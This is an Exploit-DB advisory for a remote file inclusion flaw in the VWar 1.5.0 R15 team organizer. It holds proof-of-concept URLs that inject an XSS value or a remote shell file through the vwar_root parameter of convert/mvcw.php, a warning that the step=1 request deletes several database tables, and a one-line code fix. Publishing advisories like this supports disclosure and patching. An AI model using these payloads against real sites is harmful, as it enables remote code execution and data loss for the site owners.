VWar 1.5.0 R15 - 'mvcw.php' Remote File Inclusion

EDB-ID:

4332

Author:

DNX

Type:

webapps

Platform:

PHP

Published:

2007-08-28

                            \#'#/
                            (-.-)
   --------------------oOO---(_)---OOo--------------------
   | VWar <= v1.5.0 R15 (mvcw.php) Remote File Inclusion |
   |                    coded by DNX                     |
   -------------------------------------------------------
[!] Discovered: DNX
[!] Vendor: http://www.vwar.de
[!] Detected: 26.02.2007
[!] Reported: 27.02.2007
[!] Remote: yes

[!] Background: VWar is a team organizer based on PHP and MySQL

[!] Bug: $vwar_root in convert/mvcw.php

[!] PoC:
    - http://[site]/[path]/convert/mvcw.php?vwar_root=[xss]
    - http://[site]/[path]/convert/mvcw.php?step=1&vwar_root=[shell]

[!] Example:
    - http://127.0.0.1/vwar/convert/mvcw.php?step=1&vwar_root=http//127.0.0.1/shell.txt?

[!] Warning: "step=1" deletes all data from the tables vwar, vwar_opponents,
    vwar_scores and vwar_screen in the database

[!] Solution: No update from vendor till now

[!] Quick fix in convert/mvcw.php line 79:
    - replace:
	if ($GPC['step'] == 1)
	{
		// clean tables

    - with:
	if ($GPC['step'] == 1)
	{
		$vwar_root = "./../";
		// clean tables

# milw0rm.com [2007-08-28]